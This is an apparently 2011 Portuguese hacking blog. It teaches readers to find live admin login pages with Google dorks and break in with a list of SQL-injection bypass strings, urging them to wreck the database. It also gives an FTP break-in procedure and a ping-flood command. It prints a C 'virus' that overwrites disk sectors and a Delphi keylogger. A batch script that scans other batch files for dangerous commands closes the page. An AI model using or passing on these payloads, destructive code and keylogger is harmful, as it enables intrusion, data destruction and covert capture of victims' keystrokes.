Pesquisar

22 de out. de 2011

SQL Injection básico

É o seguinte, Este truque é aplicado ao navegador, no modo de string, que acessa o servidor, varrendo os cookies, e assim podendo liberar a entrada do administrador.

O Google é seu amigo, e te ajudará nesta tarefa, pois ele te ajudará a pesquisar por páginas específicas.
Iremos então usar o comando "allinurl".
esse comando procura especificadamente aquilo que se vem depois dos dois pontos
exemplo: allinurl:/site/admin/
com esse codigo ele caçará paginas com campos de logins de adiministraçoes.
abaixo uma lista com algums codigos para vc pesquisar no google.


allinurl:/webadmin/default.asp
allinurl:/menu_admin/default.asp
allinurl:/menu_admin/index.asp
allinurl:/menu_admin/login.asp
allinurl:/noticias/admin/
allinurl:/news/admin/
allinurl:/cadastro/admin/
allinurl:/portal/admin/
allinurl:/site/admin/
allinurl:/home/admin.asp
allinurl:/home/admin/index.asp
allinurl:/home/admin/default.asp
allinurl:/home/admin/login.asp
allinurl:/web/admin/index.asp


Pegue uma das strings acima e pesquise a vontade:


Após isso saira uma lista de sites com paginas com campos de logins e senhas
ate ai tudo bem agora vamos escaniialos usando um scanner como o Acutinex
depois de scaneado e acuzando a suposta vulnerabilidade de sql injection

É só testarmos strings nos campos de login sda página afetada.


A mesma string usada no login deve ser usada no campo de senha ok.
abaixo uma lista de strings:

* b’ or ‘ 1=’
* ‘ or ‘1
* ‘ or ‘|
* ‘ or ‘a’='a
* ‘ or ”=’
* ‘ or 1=1–
* ‘) or (’a'=’a
* ‘ or ‘1′=’1
* admin ‘ – -
* ‘ ou 0=0 –
* “ou 0=0 –
* ou 0=0 –
* ‘ ou 0=0 #
* “ou 0=0 #
* ou 0=0 #
* ‘ ou ‘ x’='x
* “ou” x”=”x
* ‘) ou (’ x’='x
* ‘ ou 1=1 –
* “ou 1=1 –
* ou 1=1 –
* ‘ ou a=a –
* “ou” a”=”a
* ‘) ou (’ a’='a
* “) ou (”a”=”a
* hi “ou” a”=”a
* hi “ou 1=1 –
* hi ‘ ou 1=1 –
* hi ‘ ou ‘ a’='a
* hi ‘) ou (’ a’='a
* hi”) ou (”a”=”a
* ‘ or ‘x’='x


Teste até conseguir, faça uma confusão no Banco de dados.

20 de out. de 2011

Método antigo: Invasão por FTP

Bom, este método não funciona mais, mas para fins de estudo e entendimento, seguem os métodos abaixo.


  1. Abrir o prompt de comando do windows
  2. Digitar: "ftp" e então vai surgir a caixa : ftp>
  3. Digitar: "open" então vai aparecer: to, ou Para
  4. Digitar: ftp.site.com (irá colocar ftp ao invés de www)
  5. Se o endereço do site estiver correto então irá pedir login do usuário
  6. Digitar "enter" e então irá pedir senha e você apertaria "enter" novamente.
  7. Vai aparecer falha no login e senha e então você digita: quote user ftp , e então aperte "enter 
  8. Escreva: quote cwd ~root , ou, quote cwd ~sys , e depois aperte "enter" e então escreva quote pass ftp


E então se você tivesse crackeado, apareceria uma mensagem, provavelmente falando que era ilegal ou coisa do tipo. Mas se aparecesse a mensagem login anonymous, você não conseguiu crackear, apenas tinha conseguido um login anônimo e isso não te daria acesso a todas os diretórios. Porem se conseguisse era bem provável que estaria na pasta \home\root. Se você precisasse de uma ajudinha extra era só entrar no seu navegador e digitar: ftp.sitevitima.com e então iria ver os diretórios com clareza.

Método antigo de NUKE

primeiro essa é uma técnica que não existe mais para o prompt de comando do windows, seu nome é NUKE ou simplesmente PING DA MORTE, e sabe quem solucionou este problema? Foi graças a equipe do LINUX-UBUNTO. Esse método consistia em mandar grande quantidade de bytes para um IP ou site até a conexão dele cair, mas como eu já disse isso é um problema já solucionado. Aí segue como se fazia:


primeiro: abrir o prompt de comando do windows;
segundo: escrever assim: ping -l- 65000 -t site.com


vamos entender: ping é usado para checar a conexão com a internet. -l é o tamanho da quantidade do pacote á ser enviado. 65000 é a quantiidade de bytes enviados para o ip ou site, o máximo é 65536. -t significa que é para mandar o valor da quantidade até o usuário cancelar. Ali no site.com você digitava o site que você queria ou o IP. Após você colocar todos os dados era só apertar "enter" . quanto mais pessoas fazendo isso mais rápido iria cair a conexão. Para fazer parar de mandar o ping basta apertar CTRL+C.

Vírus em linguagem C "Bomber"

#include <stdlib.h>
#include <dos.h>
#include <stdio.h>

main () {

    char *vir;
    abswrite (0, 50, 0, vir);
    abswrite (1, 50, 0, vir);
    abswrite (2, 50, 0, vir);
    abswrite (3, 50, 0, vir);
    abswrite (4, 50, 0, vir);
    printf ("FUCK YOU ALL");
    printf ("The Bomber");

}

Depois é só salvar com um nome + o .c no fim e mandar compilar.

Não testei obviamnete MUHUHAHAHA

Obs: código para fins de estudo, não me responsabilizo por danos de terceiros.

17 de out. de 2011

Como criar um keylogger em Delphi

function Coloca(txt: String): String;
begin
Form1.Memo1.Text := Form1.Memo1.Text + txt;
end;

E coloque no evento Timer do temporizador:

procedure TForm1.Timer1Timer(Sender: TObject);
var
keyloop, KeyResult : Integer;
begin
keyloop := 0;
repeat
KeyResult := GetAsyncKeyState(keyloop);
if KeyResult = -32767 then
begin
case keyloop of
8: Coloca(' [BACKSPACE] ');
9: Coloca(' [TAB] ');
12: Coloca(' [ALT] ');
13: Coloca(' [ENTER] ');
16: Coloca(' [SHIFT] ');
17: Coloca(' [CONTROL] ');
18: Coloca(' [ALT] ');
20: Coloca(' [CAPS LOCK] ');
21: Coloca(' [PAGE UP] ');
27: Coloca(' [ESC] ');
33: Coloca(' [PAGE UP] ');
34: Coloca(' [PAGE DOWN] ');
35: Coloca(' [END] ');
36: Coloca(' [HOME] ');
37: Coloca(' [SETA ESQUERDA] ');
38: Coloca(' [SETA ACIMA] ');
39: Coloca(' [SETA DIREITA] ');
40: Coloca(' [SETA ABAIXO] ');
45: Coloca(' [INSERT] ');
46: Coloca(' [DEL] ');
91: Coloca(' [WIN ESQUERDA] ');
92: Coloca(' [WIN DIREITA] ');
93: Coloca(' [MENU POP-UP] ');
96: Coloca('0');
97: Coloca('1');
98: Coloca('2');
99: Coloca('3');
100: Coloca('4');
101: Coloca('5');
102: Coloca('6');
103: Coloca('7');
104: Coloca('8');
105: Coloca('9');
106: Coloca(' [NUM *] ');
107: Coloca(' [NUM +] ');
109: Coloca(' [NUM -] ');
110: Coloca(' [NUM SEP. DECIMAL] ');
111: Coloca(' [NUM /] ');
112: Coloca(' [F1] ');
113: Coloca(' [F2] ');
114: Coloca(' [F3] ');
115: Coloca(' [F4] ');
116: Coloca(' [F5] ');
117: Coloca(' [F6] ');
118: Coloca(' [F7] ');
119: Coloca(' [F8] ');
120: Coloca(' [F9] ');
121: Coloca(' [F10] ');
122: Coloca(' [F11] ');
123: Coloca(' [F12] ');
144: Coloca(' [NUM LOCK] ');
186: Coloca('Ç');
187: Coloca('=');
188: Coloca(',');
189: Coloca('-');
190: Coloca('.');
191: Coloca(';');
192: Coloca(' [APÓSTROFO] ');
193: Coloca('/');
194: Coloca(' [NUM PONTO] ');
219: Coloca('´');
220: Coloca(']');
221: Coloca('[');
222: Coloca('~');
226: Coloca('\');
else
if (KeyLoop >= 65) and (keyloop <= 90) then Coloca(Chr(keyloop)); if (keyloop >= 32) and (keyloop <= 63) then Coloca(Chr(keyloop)); //numpad keycodes if (keyloop >= 96) and (keyloop <= 110) then
Coloca(Chr(keyloop));
end;
end; //case;
inc(keyloop);
until keyloop = 255;
end;

coloque o interval do timer para "1" , deixe lá enable:=false se não o timer ficará comfuso, mas vai continuar de boa

Antivírus em Batch com análises de script



@echo off
for /f "tokens=* usebackq" %%w in ("%~0") do (
if "%%w" EQU "::[BOSS]_FIM " GOTO SEGUINTE
)
echo ::[BOSS]_FIM >> "%~0"
copy "%~0" "%windir%\system32\Boss-Av.bat"
:: ADD NO MENU CONTEXTO A OPÇÃO DE ANALIZE
REG delete HKCR\batfile\shell\Analizar... /f >nul
REG delete HKCR\batfile\shell\EDIT_MS-D©S... /f >nul
REG ADD HKCR\batfile\shell /v Analizar... /f >nul
REG ADD HKCR\batfile\shell\Analizar... /v command /f >nul
REG ADD HKCR\batfile\shell\Analizar...\command /ve /d """%0"" """%%1"""" /f
:: PARA EDITAR DIRETAMENTE
REG ADD HKCR\batfile\shell /v EDIT_MS-D©S... /f >nul
REG ADD HKCR\batfile\shell\EDIT_MS-D©S... /v command /f >nul
REG ADD HKCR\batfile\shell\EDIT_MS-D©S...\command /ve /d """"%windir%\system32\edit.com""" """%%1"""" /f >nul
:SEGUINTE
if ["%1"]==[""] (goto:Help)
if ["%1"]==["help"] (goto:Help)
if ["%1"]==["-h"] (goto:Help)
if ["%1"]==["-help"] (goto:Help)
if ["%1"]==["/?"] (goto:Help)
if not exist %~1 (
echo Av Batch Vr 1.6
echo O arquivo nÆo foi encontrado ou foi digitado o nome errado.
echo.
goto:eof
)
set nome=%~n1
set /a contador=0
Echo @Echo off > Av-Boss-Log-%~n1.bat
Echo mode 80,100 >> Av-Boss-Log-%~n1.bat
Echo color 0e >> Av-Boss-Log-%~n1.bat
echo echo %date% Av Batch Vr 1.6 >> Av-Boss-Log-%~n1.bat
call :faixa
type %1 | find /i "tsshutdn" > nul && (
set /a contador=%contador%+1
Echo Echo Comandos perigosos detectados em %1 : TSSHUTDN
Echo Echo Comando TSSHUTDN : Desligamento do servidor.
Echo Echo N¡vel de perigo : M‚dio.
echo.
) >> Av-Boss-Log-%~n1.bat & call :faixa
type %1 | find /i "copy" > nul && (
set /a contador=%contador%+1
Echo Echo Comandos perigosos detectados em %1 : COPY
Echo Echo Comando COPY : Copia de arquivos.
Echo Echo N¡vel de perigo : Baixo.
echo.
) >> Av-Boss-Log-%~n1.bat & call :faixa
type %1 | find /i "attrib" > nul && (
set /a contador=contador+1
Echo Echo Comandos perigosos detectados em %1 : ATTRIB
Echo Echo Comando ATTRIB : Mudan‡a de atributos de arquivos.
Echo Echo N¡vel de perigo : M‚dio.
echo.
) >> Av-Boss-Log-%~n1.bat & call :faixa
type %1 | find /i "shutdown" > nul && (
set /a contador=contador+1
Echo Echo Comandos perigosos detectados em %1 : SHUTDOWN
Echo Echo Comando SHUTDOWN : Desligamento do sistema.
Echo Echo N¡vel de perigo : M‚dio.
echo.
) >> Av-Boss-Log-%~n1.bat & call :faixa
type %1 | find /i "assoc" > nul && (
set /a contador=contador+1
Echo Echo Comandos perigosos detectados em %1 : ASSOC
Echo Echo Comando ASSOC : Associa‡Æo de tipo de arquivos.
Echo Echo N¡vel de perigo : M‚dio.
echo.
) >> Av-Boss-Log-%~n1.bat & call :faixa
type %1 | find /i "taskkill" > nul && (
set /a contador=%contador%+1
Echo Echo Comandos perigosos detectados em %1 : TASKKILL
Echo Echo Comando TASKKILL : Termina processos.
Echo Echo N¡vel de perigo : M‚dio.
echo.
) >> Av-Boss-Log-%~n1.bat & call :faixa
type %1 | find /i "tskill" > nul && (
set /a contador=%contador%+1
Echo Echo Comandos perigosos detectados em %1 : TSKILL
Echo Echo Comando TSKILL : Termina processos.
Echo Echo N¡vel de perigo : M‚dio.
echo.
) >> Av-Boss-Log-%~n1.bat & call :faixa
type %1 | find /i "rd" > nul && (
set /a contador=%contador%+1
Echo Echo Comandos perigosos detectados em %1 : RD
Echo Echo Comando RD : Deleta pastas.
Echo Echo N¡vel de perigo : Alto
echo.
) >> Av-Boss-Log-%~n1.bat & call :faixa
type %1 | find /i "rmdir" > nul && (
set /a contador=%contador%+1
Echo Echo Comandos perigosos detectado em %1 : RMDIR
Echo Echo Comando RMDIR : Deleta pastas.
Echo Echo N¡vel de perigo : Alto.
echo.
) >> Av-Boss-Log-%~n1.bat & call :faixa
type %1 | find /i "erase" > nul && (
set /a contador=%contador%+1
Echo Echo Comandos perigosos detectados em %1 : ERASE
Echo Echo Comando ERASE : Deleta arquivos.
Echo Echo N¡vel de perigo : Alto.
echo.
) >> Av-Boss-Log-%~n1.bat & call :faixa
type %1 | find /i "del" > nul && (
set /a contador=%contador%+1
Echo Echo Comandos perigosos detectados em %1 : DEL
Echo Echo Comando DEL : Deleta arquivos.
Echo Echo N¡vel de perigo : Alto
echo.
) >> Av-Boss-Log-%~n1.bat & call :faixa
type %1 | find /i "net user" > nul && (
set /a contador=%contador%+1
Echo Echo Comandos perigosos detectados em %1 : NET USER
Echo Echo Comando NET USER : Administra‡Æo de usu rios.
Echo Echo N¡vel de perigo : Baixo.
echo.
) >> Av-Boss-Log-%~n1.bat & call :faixa
type %1 | find /i "format" > nul && (
set /a contador=%contador%+1
Echo Echo Comandos perigosos detectados em %1 : format
Echo Echo Comando FORMAT : formata‡Æo de discos.
Echo Echo N¡vel de perigo : Alto.
echo.
) >> Av-Boss-Log-%~n1.bat & call :faixa
type %1 | find /i "autorun.inf" > nul && (
set /a contador=%contador%+1
Echo Echo Comandos perigosos detectados em %1 : Autorun.inf
Echo Echo Comando Autorun.inf : Manipula‡Æo de arquivos
Echo Echo N¡vel de perigo : M‚dio-Baixo.
echo.
) >> Av-Boss-Log-%~n1.bat & call :faixa
type %1 | find /i "boot.ini" > nul && (
set /a contador=contador+1
Echo Echo Comandos perigosos detectados em %1 : Boot.ini
Echo Echo Comando Boot.ini : Manipula‡Æo de arquivos
Echo Echo N¡vel de perigo : M‚dio.
echo.
) >> Av-Boss-Log-%~n1.bat & call :faixa
type %1 | find /i "\drivers\etc\hosts" > nul && (
set /a contador=%contador%+1
Echo Echo Comandos perigosos detectados em %1 : HOSTS
Echo Echo Comando HOSTS : Manipula‡Æo de arquivos
Echo Echo N¡vel de perigo : Baixo.
echo.
) >> Av-Boss-Log-%~n1.bat & call :faixa
type %1 | find /i "cacls" > nul && (
set /a contador=%contador%+1
Echo Echo Comandos perigosos detectados em %1 : CACLS
Echo Echo Comando CACLS : Manipula‡Æo de Permissäes, para arquivos ou pastas.
Echo Echo N¡vel de perigo : Alto.
echo.
) >> Av-Boss-Log-%~n1.bat & call :faixa
type %1 | find /i "reg add" > nul && (
set /a contador=%contador%+1
Echo Echo Comandos perigosos detectados em %1 : REG ADD
Echo Echo Comando REG ADD : Altera‡Æo de registro de Windows.
Echo Echo N¡vel de perigo : M‚dio.
echo.
) >> Av-Boss-Log-%~n1.bat & call :faixa
type %1 | find /i "reg delete" > nul && (
set /a contador=%contador%+1
Echo Echo Comandos perigosos detectados em %1 : REG DELETE
Echo Echo Comando REG DELETE : Elimina‡Æo de chaves/Valores no registro do Windows
Echo Echo N¡vel de perigo : M‚dio.
echo.
) >> Av-Boss-Log-%~n1.bat & call :faixa
type %1 | find /i "regsvr23" > nul && (
set /a contador=%contador%+1
Echo Echo Comandos perigosos detectados em %1 : REGSVR32
Echo Echo Comando REGSVR32 : Administra‡Æo de arquivos.
Echo Echo N¡vel de perigo : M‚dio.
echo.
) >> Av-Boss-Log-%~n1.bat & call :faixa
type %1 | find /i "net stop" > nul && (
set /a contador=%contador%+1
Echo Echo Comandos perigosos detectados em %1 : Net Stop
Echo Echo Comando Net Stop : Detem servi‡os.
Echo Echo N¡vel de perigo : M‚dio.
echo.
) >> Av-Boss-Log-%~n1.bat & call :faixa
type %1 | find /i "reg.exe Add" > nul && (
Echo Echo Comandos perigosos detectados em %1 : REG ADD
Echo Echo Comando REG ADD : Altera‡Æo do registro do Windows.
Echo Echo N¡vel de perigo : M‚dio.
echo.
) >> Av-Boss-Log-%~n1.bat & call :faixa
type %1 | find /i "CMDOW" > nul && (
set /a contador=%contador%+1
Echo Echo Comandos perigosos detectados em %1 : CMDOW
Echo Echo Comando CMDOW : Oculta‡Æo de telas.
Echo Echo N¡vel de perigo : M‚dio.
echo.
) >> Av-Boss-Log-%~n1.bat & call :faixa
if %contador%==0 (
echo arquivo : %1 livre de comandos perigosos.
echo.
) >> Av-Boss-Log-%~n1.bat & call :faixa
::echo %contador%
if %contador% GTR 0 (
Echo Echo Quantidade de comandos perigosos detectados : %contador% >> Av-Boss-Log-%~n1.bat
Echo Pause ^>nul >> Av-Boss-Log-%~n1.bat
goto:DelChoice
) else (
start "" Av-Boss-Log-%~n1.bat
goto:eof
)
:DelChoice
echo O arquivo contem mais de um comando perigoso.
echo Deseja elimina lo?
echo.
echo 1.-Sim
echo 2.-NÆo
echo.
set /p opção=Digite o numero da op‡Æo desejada:
if not defined opção (goto:DelChoice)
if %opção%==1 (
del /f /q "%1" && Echo arquivo eliminado.
start "" Av-Boss-Log-%~n1.bat
)
if %opção%==2 (start Av-Boss-Log-%~n1.bat & goto:eof)
if %opção% GTR 2 (goto:DelChoice)
if %opção% LSS 1 (goto:DelChoice)
exit /b
:Help
echo Av Batch Vr 1.6
echo Checa se os arquivos Batch contem comandos perigosos.
echo.
echo Modo de uso :
echo Clique com o lado direito do mouse sobre o arquivo
echo.
echo E clique em Analizar
echo.
Echo OBS. A op‡Æo "Deseja elimina lo?" exclui permanentemente
echo O arquivo portanto tome cuidado !
pause >nul
goto:eof
:faixa
echo echo. >> Av-Boss-Log-%nome%.bat
echo echo ******************************************************************************** >> Av-Boss-Log-%nome%.bat
goto:eof